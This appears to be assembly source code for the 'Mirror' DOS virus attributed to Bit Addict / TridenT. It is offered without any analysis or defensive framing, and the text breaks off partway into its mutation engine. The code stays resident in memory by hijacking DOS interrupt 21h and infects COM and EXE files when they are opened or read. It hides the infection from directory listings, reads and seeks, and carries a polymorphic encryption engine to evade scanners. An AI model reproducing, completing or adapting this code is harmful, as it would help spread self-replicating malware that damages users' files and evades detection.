MemorySize equ (MemoryEnd - $ + VirusSize)
EntryPoint: mov dx,ds
call ExeMain
Relocate equ ($ - VirusTop)
ComExe equ byte ptr [$ - VirusTop - 2]
ExeID equ (ExeMain - $)
ComID equ (ComMain - $)
HeaderLength equ 1ah
TheHeader equ $
Header equ word ptr [$ - VirusTop]
JumpOpcode equ byte ptr [$ - VirusTop]
JumpDisp equ word ptr [$ - VirusTop + 01h]
PartPage equ word ptr [$ - VirusTop + 02h]
PageCount equ word ptr [$ - VirusTop + 04h]
ReloCount equ word ptr [$ - VirusTop + 06h]
HeaderSize equ word ptr [$ - VirusTop + 08h]
MinMem equ word ptr [$ - VirusTop + 0ah]
MaxMem equ word ptr [$ - VirusTop + 0ch]
ExeSS equ word ptr [$ - VirusTop + 0eh]
ExeSP equ word ptr [$ - VirusTop + 10h]
Signature equ word ptr [$ - VirusTop + 12h]
ExeEntry equ dword ptr [$ - VirusTop + 14h]
ExeIP equ word ptr [$ - VirusTop + 14h]
ExeCS equ word ptr [$ - VirusTop + 16h]
RelocationOfs equ word ptr [$ - VirusTop + 18h]
dw "ZM",6 dup(0),0,0ffeh,?,0,-10h,0
VirusID equ byte ptr [$ - VirusTop]
db '[ Mirror: Bit Addict / TridenT ]'
GotoNewCS: db 0eah
dw Continue - VirusTop,?
NewCodeSegment equ word ptr [$ - VirusTop - 2]
ExecuteProg: mov ax,1234h
SavedPSP equ word ptr [$ - VirusTop - 2]
mov ds,ax
mov es,ax
mov ax,1234h
SavedRegAX equ word ptr [$ - VirusTop - 2]
mov dx,1234h
InitExeSS equ word ptr [$ - VirusTop - 2]
mov ss,dx
mov sp,1234h
InitExeSP equ word ptr [$ - VirusTop - 2]
db 0eah,?,?,?,?
InitExeIP equ word ptr [$ - VirusTop - 4]
InitExeCS equ word ptr [$ - VirusTop - 2]
Continue: mov ss,cs:InitExeSS
mov sp,cs:InitExeSP
sti
mov ax,1234h
PatchSegment equ word ptr [$ - VirusTop - 2]
mov bx,1234h
PatchOffset equ word ptr [$ - VirusTop - 2]
mov ds,ax
mov byte ptr ds:[bx-1],9ah
mov word ptr ds:[bx],(Dos - VirusTop)
mov word ptr ds:[bx+2],cs
mov ah,3fh
xor bx,bx
mov cx,1
mov dx,-1
int 21h
mov ah,40h
inc bx
int 21h
mov ds,cs:SavedPSP
mov ax,ds:[2ch]
mov ch,-1
xor di,di
mov es,ax
push cs
pop ds
SearchComspec: or ax,ax
je ExecuteProg
mov cx,8
mov dx,di
mov si,offset Comspec
cld
repe cmpsb
xchg dx,di
je ComspecFound
xor ax,ax
mov ch,0ffh
repne scasb
mov al,es:[di]
jmp SearchComspec
ComspecFound: push es
pop ds
mov ax,3d00h
int 21h
jc ExecuteProg
xchg ax,bx
mov ah,3fh
xor cx,cx
mov dx,-1
int 21h
mov ah,3eh
int 21h
jmp ExecuteProg
Comspec equ byte ptr [$ - VirusTop]
db 'COMSPEC='
ComMain: pop si
mov cx,HeaderLength
mov di,100h
mov ds:InitExeSS[si - Relocate],ss
mov ds:InitExeSP[si - Relocate],sp
mov ds:InitExeCS[si - Relocate],cs
mov ds:InitExeIP[si - Relocate],di
cld
rep movsb
sub si,Relocate + HeaderLength
jmp short Main
ExeMain: pop si
sub si,Relocate
mov bx,ds
add bx,10h
mov cx,bx
push cs
pop ds
add bx,ds:ExeSS[si]
mov ds:InitExeSS[si],bx
mov bx,ds:ExeSP[si]
mov ds:InitExeSP[si],bx
add cx,ds:ExeCS[si]
mov ds:InitExeCS[si],cx
mov cx,ds:ExeIP[si]
mov ds:InitExeIP[si],cx
Main: mov ds:SavedPSP[si],dx
mov ds:SavedRegAX[si],ax
mov ah,34h
int 21h
dec bx
mov ds:DosSDAofs[si],bx
mov ds:DosSDAseg[si],es
mov ah,52h
int 21h
mov ax,es
cmp ax,ds:DosSDAseg[si]
jne CannotInstall
mov ax,es:[bx+4]
mov ds:DosSFTofs[si],ax
mov ax,es:[bx+6]
mov ds:DosSFTseg[si],ax
mov ax,es:[bx-2]
mov ds:FirstMCB[si],ax
sub ax,ds:DosSDAseg[si]
mov cl,4
shl ax,cl
xchg ax,cx
xor di,di
jmp short SearchOpcode
CannotInstall: jmp ExecuteProg
SearchHMA: or di,di
je CannotInstall
mov ax,-1
mov es,ax
mov cx,-10h
mov di,10h
SearchOpcode: mov al,36h
repne scasb
jne SearchHMA
cmp word ptr es:[di],16ffh
jne SearchOpcode
mov ax,es:[di+2]
mov bx,351eh
cmp ax,57ch
je OpcodeFound
mov bx,3b84h
cmp ax,5eah
jne SearchOpcode
OpcodeFound: mov ds:JumpVar[si],ax
mov ds:DosSFTsize[si],bh
mov ds:StackPtr[si],bl
mov ds:PatchOffset[si],di
mov ds:PatchSegment[si],es
mov al,0cbh
repne scasb
jne CannotInstall
dec di
mov ds:ReturnOpcodeOfs[si],di
mov ds:ReturnOpcodeSeg[si],es
mov ax,ds:FirstMCB[si]
xor bx,bx
dec dx
SearchBlock: mov ds,ax
cmp word ptr ds:[bx+1],bx
jne NotFree
cmp word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
jb NotFree
mov dx,ax
NotFree: inc ax
add ax,ds:[bx+3]
cmp byte ptr ds:[bx],"M"
je SearchBlock
mov ds,dx
mov cx,(MemorySize + 0fh) / 10h
add dx,ds:[bx+3]
sub dx,cx
cmp bx,ds:[bx+1]
je FreeBlock
sbb ds:[bx+3],cx
mov al,"M"
xchg al,ds:[bx]
mov ds,dx
mov ds:[bx],al
mov ds:[bx+1],bx
mov ds:[bx+3],cx
FreeBlock: inc dx
mov es,dx
push cs
pop ds
std
mov ax,-1
mov ds:LastPSP[si],ax
mov ds:NewCodeSegment[si],dx
cli
mov cx,(MemoryEnd - VirusEnd)
mov di,offset MemoryEnd - VirusTop - 1
rep stosb
mov cx,(VirusEnd - VirusTop)
add si,offset VirusEnd - VirusTop - 1
rep movsb
jmp GotoNewCS
;*****************************************************************************;
; ;
; New dos entry point ;
; ;
;*****************************************************************************;
dbw macro bval, wval
db bval
dw wval - VirusTop
endm
Functions equ byte ptr [$ - VirusTop]
dbw 11h, FindFCB
dbw 12h, FindFCB
dbw 3ch, CheckFileTable
dbw 3dh, Open
dbw 3fh, Read
dbw 40h, Write
dbw 42h, Seek
dbw 45h, CheckFileTable
dbw 48h, ShowBlock
dbw 4ah, ShowBlock
dbw 4bh, ShowBlock
dbw 4eh, FindFile
dbw 4fh, FindFile
dbw 5ah, CheckFileTable
dbw 5bh, CheckFileTable
dbw 6ch, ExtOpen
LastFunction equ byte ptr [$ - VirusTop]
dbw -1h, DoNothing
Dos: pop cs:DosMainOfs
pop cs:DosMainSeg
push bx
push ds
push cs
pop ds
mov bx,offset Functions - 3
NextFunction: add bx,3
cmp ah,[bx]
je RightFunction
ja NextFunction
mov bx,offset LastFunction
RightFunction: push bp
mov bp,sp
mov bx,[bx+1]
xchg bx,[bp+4]
pop bp
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,ss:[1234h]
JumpVar equ word ptr [$ - VirusTop - 2]
mov cs:DosFunctionOfs,ax
mov ax,cs:DosMainSeg
mov cs:DosFunctionSeg,ax
call GetPSP
cmp word ptr ds:[0],20cdh
jne IllegalPSP
mov ax,ds
cmp ax,0c000h
jae IllegalPSP
cmp ax,1234h
LastPSP equ word ptr [$ - VirusTop - 2]
jne OtherPSP
IllegalPSP: jmp SamePSP
OtherPSP: push cs
pop ds
push cs
pop es
mov ds:LastPSP,ax
cld
mov bx,-1
mov cx,8
mov di,offset StealthNames - 8
NextPSP: add di,8
scasw
ja DoNotClear
mov ds:[di-2],bx
DoNotClear: loop NextPSP
mov cl,7
mov di,offset StealthNames - 10
FindEmptyName: add di,10
cmp ds:[di],bx
je EmptyName
cmp ds:[di],ax
loopne FindEmptyName
EmptyName: stosw
mov si,di
dec ax
cmp ds:DosSFTsize,35h
mov ds,ax
je DosVersion3
mov di,8
jmp BeginOfName
DosVersion3: mov es,ds:[3ch]
push es
pop ds
xor ax,ax
mov ch,-1
xor di,di
NotEnd: repne scasb
scasb
jne NotEnd
inc di
inc di
mov bx,di
repne scasb
NextPathChar: mov al,ds:[di-2]
dec di
cmp al,"\"
je BeginOfName
cmp al,":"
je BeginOfName
cmp di,bx
ja NextPathChar
BeginOfName: push cs
pop es
mov cx,8
xchg si,di
NextNameChar: lodsb
cmp al,"."
je BlankIt
cmp al," "
jbe BlankIt
stosb
loop NextNameChar
BlankIt: mov al," "
rep stosb
SamePSP: call FindMCB
jne Hide_4
cmp ds:[bx+1],bx
je Hide_1
mov dx,ax
Hide_1: push dx
mov ds,ax
mov ds:[bx+1],bx
mov cx,-1
mov ds,dx
Hide_2: mov ax,ds:[bx+3]
inc ax
add cx,ax
add dx,ax
mov al,ds:[bx]
cmp al,"M"
jne Hide_3
mov ds,dx
cmp ds:[bx+1],bx
je Hide_2
Hide_3: pop ds
mov ds:[bx],al
mov ds:[bx+3],cx
Hide_4: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
ret
;*****************************************************************************;
; ;
; Show memory block to prevent overwriting by another program ;
; ;
;*****************************************************************************;
ShowBlock: push ax
push bx
push cx
push dx
push ds
Show_1: call FindMCB
je Show_2
mov ax,cx
sub cx,dx
mov dx,ds:[bx+3]
sub dx,cx
dec cx
call SetMCB
Show_2: mov ds,ax
mov ds:[bx+1],cs
mov cx,(MemorySize + 0fh) / 10h
mov dx,ds:[bx+3]
sub dx,cx
jbe Show_3
call SetMCB
Show_3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp DoNothing
;*****************************************************************************;
; ;
; Directory search ;
; ;
;*****************************************************************************;
CheckExtension: xor ax,ax
mov ch,-1
cld
repne scasb
CheckExt: mov ax,es:[di-4]
or ax,2020h
cmp ax,"xe"
je CheckLastChar
cmp ax,"oc"
jne NotExecFile
mov al,"m"
CheckLastChar: mov ah,es:[di-2]
or ah,20h
cmp ah,al
NotExecFile: ret
FindFile: call DosCall
jc FindFailed
push ax
call GetDTA
push di
add di,1eh
call CheckExtension
pop di
jne WrongFile
RightFile: mov ax,0ddh
sub al,es:[di+1ah]
jz WrongFile
sub al,(VirusSize + 20h) and 0ffh
add ax,(VirusSize + 20h)
add word ptr es:[di+1ah],ax
adc word ptr es:[di+1ch],0
WrongFile: pop ax
FindFailed: jmp DosMain
FindFCB: call DosCall
cmp al,0
jne FindFailed
push ax
call GetDTA
cmp byte ptr es:[di],-1
jne NotExtendedFCB
add di,7
NotExtendedFCB: add di,0dh
call CheckExt
jne WrongFile
sub di,0ah
jmp RightFile
;*****************************************************************************;
; ;
; Seeking to the end of a mirrored file ;
; ;
;*****************************************************************************;
Seek: cmp al,2
jne DoSeek
call FindHandle
jnz DoSeek
test byte ptr cs:[si+6],80h
mov si,cs:TotalSize
jnz SeekStealth
SeekMirror: add dx,si
adc cx,0
jmp short DoSeek
SeekStealth: sub dx,si
sbb cx,0
DoSeek: jmp DoNothing
;*****************************************************************************;
; ;
; Routines to call the orginal dos code ;
; ;
;*****************************************************************************;
StackFrame: db 36h,0c5h,36h,?,5
StackPtr equ byte ptr [$ - VirusTop - 2]
ret
WriteCall: push ax
mov ax,cs:WriteFunction
jmp short ReadWriteCall
ReadCall: push ax
mov ax,cs:ReadFunction
ReadWriteCall: mov cs:DosFunctionOfs,ax
pop ax
DosCall: push cs
call JumpToFunction
mov ah,ds:[si+22]
sahf
mov ah,ds:[si+1]
mov bx,ds:[si+2]
mov cx,ds:[si+4]
mov dx,ds:[si+6]
ret
DosMain: db 0eah
dd ?
DosMainOfs equ word ptr [$ - VirusTop - 4]
DosMainSeg equ word ptr [$ - VirusTop - 2]
JumpToFunction: push ax
push cx
push bp
mov bp,sp
mov ax,1234h
ReturnOpcodeSeg equ word ptr [$ - VirusTop - 2]
sub ax,cs:DosFunctionSeg
mov cl,4
shl ax,cl
add ax,1234h
ReturnOpcodeOfs equ word ptr [$ - VirusTop - 2]
xchg ax,ss:[bp+4]
pop bp
pop cx
jmp short DosFunction
DoNothing: push cs:DosMainOfs
DosFunction: db 0eah
dw ?,?,0a839h,0a89fh
DosFunctionOfs equ word ptr [$ - VirusTop - 8]
DosFunctionSeg equ word ptr [$ - VirusTop - 6]
ReadFunction equ word ptr [$ - VirusTop - 4]
WriteFunction equ word ptr [$ - VirusTop - 2]
;*****************************************************************************;
; ;
; Opening a mirrored file ;
; ;
;*****************************************************************************;
ChkHandles: push ax
push bx
push cx
push si
push ds
mov bx,offset FileTable
mov cx,MaxFiles
ChkNextHandle: cmp word ptr cs:[bx],-1
je ChkHandleOk
mov ax,cs:[bx]
call FindSFT
cmp word ptr ds:[si],0
jne ChkHandleOk
mov word ptr cs:[bx],-1
ChkHandleOk: add bx,FileTableEntry
loop ChkNextHandle
pop ds
pop si
pop cx
pop bx
pop ax
ret
CheckFileTable: call ChkHandles
jmp DoNothing
ExtOpen: call ChkHandles
or al,al
jnz DoNothing
call DosCall
jc DosMain
cmp cl,1
jne DosMain
jmp OpenOk
Open: call ChkHandles
call DosCall
jc DosMain
OpenOk: push ds:[si+22]
push ax
xchg ax,bx
call GetSFTindex
call FindSFT
test byte ptr ds:[si+5],80h
jnz NotExecutable
push ds
pop es
lea di,[si+2ch]
call CheckExt
NotExecutable: jz Executable
jmp DoNotInfect
Executable: pop bx
mov cx,HeaderLength
mov dx,offset Header
push cs
pop ds
push bx
call ReadCall
call LastSFT
mov byte ptr ds:[si+15h],3ch
pop bx
mov cx,4
mov dx,offset NewExeOfs
push cs
pop ds
push bx
call ReadCall
call LastSFT
mov ax,ds:[si+11h]
mov cs:FileSizeL,ax
mov ax,ds:[si+13h]
mov cs:FileSizeH,ax
push cs
pop es
mov cx,8
mov di,offset StealthNames - 8
cld
NextName: jcxz NotStealth
mov ax,-1
dec cx
add di,8
scasw
je NextName
push cx
push si
push di
mov cx,8
add si,20h
repe cmpsb
pop di
pop si
pop cx
jne NextName
jmp short StealthMode
NotStealth: cmp byte ptr ds:[si+11h],0ddh
je DoNotInfect
call CalcImageSize
cmp ds:[si+13h],dx
jb DoNotInfect
ja FileSizeOk
cmp ds:[si+11h],ax
jb DoNotInfect
FileSizeOk: call CalcImageSize
mov dx,0
mov si,offset Header
jc StoreFileInfo
push cs
pop ds
cmp ds:RelocationOfs,40h
jb StoreFileInfo
cmp ds:NewExeOfsL,dx
jne DoNotInfect
cmp ds:NewExeOfsH,dx
jne DoNotInfect
StoreFileInfo: push si
mov bx,-1
call FindHandle
mov bx,si
pop si
jne DoNotInfect
push cs
pop ds
mov ds:[bx],1234h
LastSFTindex equ word ptr [$ - VirusTop - 2]
mov ax,ds:FileSizeL
mov ds:[bx+2],ax
mov ax,ds:FileSizeH
mov ds:[bx+4],ax
mov ds:[bx+6],dl
mov cx,HeaderLength
lea di,[bx+7]
cld
rep movsb
DoNotInfect: xor ax,ax
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],ax
call StackFrame
pop ax
mov ds:[si],ax
pop ds:[si+22]
jmp DosMain
StealthMode: cmp byte ptr ds:[si+11h],0ddh
jne DoNotInfect
call CalcImageSize
mov cx,cs:Signature
sub ax,cx
sbb dx,0
mov ds:[si+15h],ax
mov ds:[si+17h],dx
push cs
pop ds
sub ds:FileSizeL,cx
sbb ds:FileSizeH,0
cmp dx,10h
jae DoNotInfect
call SplitImageSize
call CalcImageSize
mov cx,10h
div cx
sub dx,ds:ExeIP
jne DoNotInfect
sub ax,ds:HeaderSize
sub ax,ds:ExeCS
jne DoNotInfect
pop bx
push bx
call ReadVirus
jne DoNotInfect
mov dl,85h
lea si,ds:[di+Header-VirusID-20h]
jmp StoreFileInfo
GetSFTindex: push si
push ds
call GetPSP
lea ax,[bx+1]
cmp ds:[32h],ax
jb InvalidHandle
lds si,ds:[34h]
mov al,ds:[bx+si]
sub ah,ah
mov cs:LastSFTindex,ax
InvalidHandle: pop ds
pop si
ret
FindSFT: mov si,1234h
DosSFTseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
DosSFTofs equ word ptr [$ - VirusTop - 2]
NextSFT: cmp ax,ds:[si+4]
jb RightSFT
sub ax,ds:[si+4]
lds si,ds:[si]
jmp short NextSFT
RightSFT: mov ah,12h
DosSFTsize equ byte ptr [$ - VirusTop - 1]
mul ah
add si,ax
add si,6
mov cs:LastSFTofs,si
mov cs:LastSFTseg,ds
LastSFT: mov si,1234h
LastSFTseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
LastSFTofs equ word ptr [$ - VirusTop - 2]
ret
GetDTA: call DosSDA
les di,ds:[si+0ch]
DosSDA: mov si,1234h
DosSDAseg equ word ptr [$ - VirusTop - 2]
mov ds,si
mov si,1234h
DosSDAofs equ word ptr [$ - VirusTop - 2]
ret
GetPSP: call DosSDA
mov ds,ds:[si+10h]
ret
;*****************************************************************************;
; ;
; Reading from and writing to a mirrored file ;
; ;
;*****************************************************************************;
Read: cmp dx,-1
jne NotInfectCmd
or cx,cx
jne NotInfectCmd
call FindHandle
jnz AbortAction
call InfectFile
jmp short AbortAction
NotInfectCmd: push ax
mov ax,cs:DosFunctionOfs
mov cs:ReadFunction,ax
call FindHandle
jnz RdOtherHandle
mov ah,40h
or ah,cs:[si+6]
or byte ptr cs:[si+6],1
sahf
RdOtherHandle: pop ax
jnz OtherHandle
jns _ReadMirror
jmp ReadStealth
Write: push ax
mov ax,cs:DosFunctionOfs
mov cs:WriteFunction,ax
call FindHandle
jnz WrOtherHandle
mov ah,40h
or ah,cs:[si+6]
or byte ptr cs:[si+6],4
sahf
WrOtherHandle: pop ax
jnz OtherHandle
js _WriteStealth
jp RemoveHandle
jc WriteMirror
call InfectFile
jc WriteMirror
RemoveHandle: call FindHandle
mov word ptr cs:[si],-1
ActionOk: jmp DoNothing
OtherHandle: cmp bx,2
jae ActionOk
cmp dx,-1
jne ActionOk
AbortAction: jmp DosMain
_WriteStealth: jmp WriteStealth
_ReadMirror: jmp ReadMirror
_Truncate: jmp Truncate
IllegalWrite: mov ax,5
call DosSDA
mov word ptr ds:[si+2],1ffh
mov word ptr ds:[si+4],ax
mov word ptr ds:[si+6],307h
call StackFrame
mov ds:[si],ax
or ds:[si+22],al
jmp DosMain
WriteMirror: call SplitCount
jcxz _Truncate
call CompareHeaders
jne IllegalWrite
call CompareViruses
jne IllegalWrite
call FindHandle
ReadMirror: call SplitCount
push ds
mov ax,1234h
VirusOffset equ word ptr [$ - VirusTop - 2]
call LastSFT
sub word ptr ds:[si+15h],ax
sbb word ptr ds:[si+17h],0
pop ds
xor ax,ax
sub cx,cs:VirusCount
jcxz ReadZero
call DosCall
ReadZero: pushf
push ax
push cs
pop ds
mov ax,ds:VirusCount
add ax,ds:VirusOffset
call LastSFT
add word ptr ds:[si+15h],ax
adc word ptr ds:[si+17h],0
pop ax
popf
jc ReadError
add ax,cs:VirusCount
push ax
call StackFrame
xchg ax,cx
mov ds:[si],cx
mov bx,ds:[si+6]
mov es,ds:[si+14]
mov ds,ds:[si+14]
call SplitCount
mov di,1234h
VirusCount equ word ptr [$ - VirusTop - 2]
or di,di
jz NewHeader
call Mutate
mov cx,1234h
OverlayCount equ word ptr [$ - VirusTop - 2]
mov si,1234h
ImageCount equ word ptr [$ - VirusTop - 2]
add si,bx
push si
push di
jcxz DoNotMove
dec si
add si,cx
add di,si
std
rep movsb
DoNotMove: push cs
pop ds
pop cx
pop di
mov si,offset Buffer
add si,ds:VirusOffset
cld
rep movsb
NewHeader: mov cx,ds:HeaderCount
jcxz ReadError
call UpdateHeader
mov cx,ds:HeaderCount
mov si,ds:SFT_FilePosL
lea di,[bx+si]
add si,offset Header
cld
rep movsb
ReadError: pop ax
jmp DosMain
Truncate: push ds
call LastSFT
mov ax,cs:VirusOffset
sub ds:[si+15h],ax
sbb word ptr ds:[si+17h],0
pop ds
call DosCall
pushf
push ax
push ds:[si+2]
call LastSFT
mov ax,cs:VirusOffset
add word ptr ds:[si+15h],ax
adc word ptr ds:[si+17h],0
pop bx
pop ax
popf
jc TruncateEnd
call FindHandle
mov word ptr cs:[si],-1
TruncateEnd: jmp DosMain
WriteStealth: call SplitCount
neg cs:VirusOffset
jcxz Truncate
call ChangeHeader
ReadStealth: call SplitCount
push ds
mov cx,cs:HeaderCount
call LastSFT
add word ptr ds:[si+15h],cx
adc word ptr ds:[si+17h],0
pop ds
push dx
push ds
add dx,cx
neg cx
add cx,cs:ImageCount
jcxz FirstCntZero
call DosCall
FirstCntZero: call LastSFT
add word ptr ds:[si+15h],1234
TotalSize equ word ptr [$ - VirusTop - 2]
adc word ptr ds:[si+17h],0
pop ds
pop dx
push dx
push ds
xor ax,ax
mov cx,1234h
StealthCount equ word ptr [$ - VirusTop - 2]
add dx,cs:ImageCount
jcxz SecondCntZero
call DosCall
SecondCntZero: call LastSFT
mov cx,cs:TotalSize
sub word ptr ds:[si+15h],cx
sbb word ptr ds:[si+17h],0
push cs
pop ds
pop es
pop di
add ax,ds:ImageCount
mov cx,ds:HeaderCount
jcxz EndOfRead
mov si,offset Header
add si,ds:SFT_FilePosL
cld
rep movsb
EndOfRead: call StackFrame
mov ds:[si],ax
jmp DosMain
CompareHeaders: push cx
mov cx,cs:HeaderCount
jcxz NoHeaderWrite
push si
push di
push es
push dx
push ds
call UpdateHeader
pop ds
pop dx
push cs
pop es
mov cx,1234h
HeaderCount equ word ptr [$ - VirusTop - 2]
mov si,dx
mov di,offset Header
cld
repe cmpsb
pop es
pop di
pop si
NoHeaderWrite: pop cx
ret
CompareViruses: push cx
mov cx,cs:VirusCount
jcxz NoVirusWrite
push cx
push si
push dx
call Mutate
pop dx
push di
push es
push cs
pop es
mov cx,cs:VirusCount
mov si,dx
add si,cs:ImageCount
mov di,offset Buffer
add di,cs:VirusOffset
push si
cld
repe cmpsb
mov si,di
pop di
jne DoNotRemove
push ds
pop es
mov cx,cs:OverlayCount
rep movsb
DoNotRemove: pop es
pop di
pop si
NoVirusWrite: pop cx
ret
SplitCount: push ax
push bx
push cx
push dx
push si
push di
push ds
push cs
pop ds
mov ax,HeaderLength
cwd
mov si,ds:SFT_FilePosL
mov di,ds:SFT_FilePosH
call CalcCounter
add cx,bx
sub si,bx
mov ds:HeaderCount,bx
push cx
call CalcImageSize
pop cx
xor bx,bx
sub si,ax
sbb di,dx
jb VirusOfsOk
mov bx,ds:TotalSize
ja VirusOfsOk
cmp si,bx
ja VirusOfsOk
mov bx,si
VirusOfsOk: mov ds:VirusOffset,bx
add si,ax
adc di,dx
call CalcCounter
mov ds:ImageCount,bx
cmp ds:HeaderCount,bx
jbe HeaderCountOk
mov ds:HeaderCount,bx
HeaderCountOk: add ax,ds:TotalSize
add dx,0
call CalcCounter
mov ds:VirusCount,bx
mov ds:OverlayCount,cx
add cx,bx
mov ds:StealthCount,cx
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
CalcCounter: push ax
push dx
xor bx,bx
sub ax,si
sbb dx,di
jb CounterOk
mov bx,cx
jne CounterOk
cmp ax,cx
jae CounterOk
xchg ax,bx
CounterOk: sub cx,bx
add si,bx
adc di,0
pop dx
pop ax
ret
ChangeHeader: cmp cs:HeaderCount,0
je NoHeaderChange
push ax
push bx
push cx
push si
push di
push es
push dx
push ds
call CalcImageSize
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],dx
call ReadVirus
jne WriteError
mov cx,ds:HeaderCount
mov di,offset Buffer + Header
add di,ds:DecryptorSize
add di,ds:SFT_FilePosL
pop ds
pop si
push si
push ds
cld
rep movsb
and cs:MutationFlags,07fh
call Mutate
call CalcImageSize
call LastSFT
mov ds:[si+15h],ax
mov ds:[si+17h],dx
push cs
pop ds
mov cx,ds:TotalSize
mov dx,offset Buffer
call DosCall
WriteError: call LastSFT
mov ax,cs:SFT_FilePosL
mov word ptr ds:[si+15h],ax
mov ax,cs:SFT_FilePosH
mov word ptr ds:[si+17h],ax
pop ds
pop dx
pop es
pop di
pop si
pop cx
pop bx
pop ax
NoHeaderChange: ret
ReadVirus: call MutationParms
push cs:DosFunctionOfs
call StackFrame
push ds:[si]
push ds:[si+22]
push cs
pop ds
mov cx,ds:TotalSize
mov dx,offset Buffer
call ReadCall
pop ds:[si+22]
pop ds:[si]
push cs
pop ds
pop ds:DosFunctionOfs
or ds:MutationFlags,80h
call Mutate
push cs
pop es
mov cx,20h
mov si,offset VirusID
mov di,offset Buffer + VirusID
add di,ds:DecryptorSize
cld
repe cmpsb
ret
;*****************************************************************************;
; ;
; Write the virus to an existing file ;
; ;
;*****************************************************************************;
Fail: mov al,3
iret
InfectFile: push cs:DosFunctionOfs
push ax
push cx
push dx
push si
push ds
xor ax,ax
mov ds,ax
mov ax,offset Fail - VirusTop
xchg ax,ds:[90h]
push ax
mov ax,cs
xchg ax,ds:[92h]
push ax
push ds
push cs
pop ds
mov ax,ds:SFT_FileSizeL
cmp al,0ddh
stc
je InfectError
mov ds:FileSizeL,ax
mov ax,ds:SFT_FileSizeH
mov ds:FileSizeH,ax
call CalcImageSize
sub ax,ds:SFT_FileSizeL
sbb dx,ds:SFT_FileSizeH
jc InfectError
call Mutate
call LastSFT
and byte ptr ds:[si+2],0feh
or byte ptr ds:[si+2],2
and byte ptr ds:[si+4],3ah
mov ax,ds:[si+11h]
mov ds:[si+15h],ax
mov ax,ds:[si+13h]
mov ds:[si+17h],ax
push cs
pop ds
mov cx,cs:TotalSize
mov dx,offset Buffer
call WriteCall
jc InfectError
call LastSFT
xor ax,ax
mov ds:[si+15h],ax
mov ds:[si+17h],ax
call UpdateHeader
mov cx,HeaderLength
mov dx,offset Header
call WriteCall
InfectError: call LastSFT
mov ax,cs:SFT_OpenMode
mov ds:[si+2],ax
mov al,cs:SFT_Attribute
mov byte ptr ds:[si+4],al
mov ax,cs:SFT_DeviceInfo
mov ds:[si+6],ah
mov ax,cs:SFT_FilePosL
mov ds:[si+17h],ax
mov ax,cs:SFT_FilePosH
mov ds:[si+19h],ax
pop ds
pop word ptr ds:[92h]
pop word ptr ds:[90h]
pop ds
pop si
pop dx
pop cx
pop ax
pop cs:DosFunctionOfs
ret
;*****************************************************************************;
; ;
; Library used by all parts of the virus ;
; ;
;*****************************************************************************;
UpdateHeader: push cs
pop ds
call CalcImageSize
mov cx,10h
cmp dx,cx
jae HeaderOk
div cx
sub ax,ds:HeaderSize
mov ds:ExeCS,ax
mov ds:ExeIP,dx
mov dx,ds:TotalSize
mov ds:Signature,dx
mov cl,4
shr dx,cl
inc dx
add ax,dx
mov ds:ExeSS,ax
mov ds:ExeSP,400h
call CalcImageSize
add ax,ds:TotalSize
adc dx,0
call SplitImageSize
mov ax,(MemorySize - VirusSize + 3fh) / 10h
add ax,ds:MinMem
mov ds:MinMem,ax
cmp ds:MaxMem,ax
jae ComFileHeader
mov ds:MaxMem,ax
ComFileHeader: call CalcImageSize
jnc HeaderOk
sub ax,3
mov ds:JumpOpcode,0e9h
mov ds:JumpDisp,ax
HeaderOk: ret
SplitImageSize: mov cx,200h
and dx,0fh
div cx
mov ds:PartPage,dx
add dx,-1
adc ax,0
mov ds:PageCount,ax
ret
FindHandle: push ax
push cx
push ds
push cs
pop ds
mov ax,bx
cmp bx,-1
je EmptyHandle
call GetSFTindex
jc HandleNotFound
EmptyHandle: mov cx,MaxFiles
mov si,offset FileTable - FileTableEntry
NextHandle: add si,FileTableEntry
cmp ds:[si],ax
loopne NextHandle
pushf
jne SpeedUp
cmp ax,-1
je SpeedUp
push dx
push si
push di
push es
push cs
pop es
cld
lodsw
push ax
lodsw
mov ds:FileSizeL,ax
lodsw
mov ds:FileSizeH,ax
inc si
mov di,offset Header
rep movsb
pop ax
call FindSFT
mov cx,19h
mov di,offset SFT_Entry
rep movsb
pop es
pop di
call MutationParms
pop si
pop dx
SpeedUp: popf
HandleNotFound: pop ds
pop cx
pop ax
ret
MutationParms: push cs
pop ds
mov ax,ds:FileSizeL
mov cx,ax
add cx,ds:FileSizeH
mov ds:Randomize,cx
mov cx,VirusSize + 20h
add al,cl
neg al
add al,0ddh
xor ah,ah
add cx,ax
mov ds:TotalSize,cx
and al,3fh
add al,20h
sub cx,ax
mov ds:CodeSize,cx
mov ds:DecryptorSize,ax
call CalcImageSize
jnc ExeOffset
add ax,100h
mov dx,300h + ComID
jmp SetOffset
ExeOffset: and ax,00fh
mov dx,000h + ExeID
SetOffset: mov ds:DecryptorOfs,ax
mov ds:ComExe,dl
mov ds:MutationFlags,dh
ret
CalcImageSize: cmp cs:Header,"MZ"
je ExeFileHeader
cmp cs:Header,"ZM"
je ExeFileHeader
mov ax,1234h
FileSizeL equ word ptr [$ - VirusTop - 2]
mov dx,1234h
FileSizeH equ word ptr [$ - VirusTop - 2]
stc
ret
ExeFileHeader: mov ax,cs:PageCount
mov cx,cs:PartPage
jcxz ExactPage
dec ax
ExactPage: mov dx,200h
mul dx
add ax,cx
clc
ret
SetMCB: mov ds:[bx+3],cx
mov cl,"M"
xchg cl,ds:[bx]
mov ds,ax
mov ds:[bx],cl
mov ds:[bx+1],bx
mov ds:[bx+3],dx
ret
FindMCB: mov ax,1234h
FirstMCB equ word ptr [$ - VirusTop - 2]
xor bx,bx
mov cx,cs
dec cx
FindNext: mov ds,ax
mov dx,ax
inc ax
add ax,ds:[bx+3]
cmp ax,cx
jb FindNext
ret
;*****************************************************************************;
; ;
; Mutation engine ;
; ;
;*****************************************************************************;
; ;
; Entry: Randomize = Random Number ;
; DecryptorOfs = Decryptor offset (Not needed for decryption) ;
; CodeSize = Code size ;
; MutationFlags = bit 0: assume decryptor ds=cs (com-files) ;
; bit 1: assume decryptor ss=cs (com-files) ;
; bit 7: decrypt mutated virus (stealth) ;
; DecryptorSize = Decryptor size ;
; ;
; cs:[VirusTop] = Code (Not needed for decryption) ;
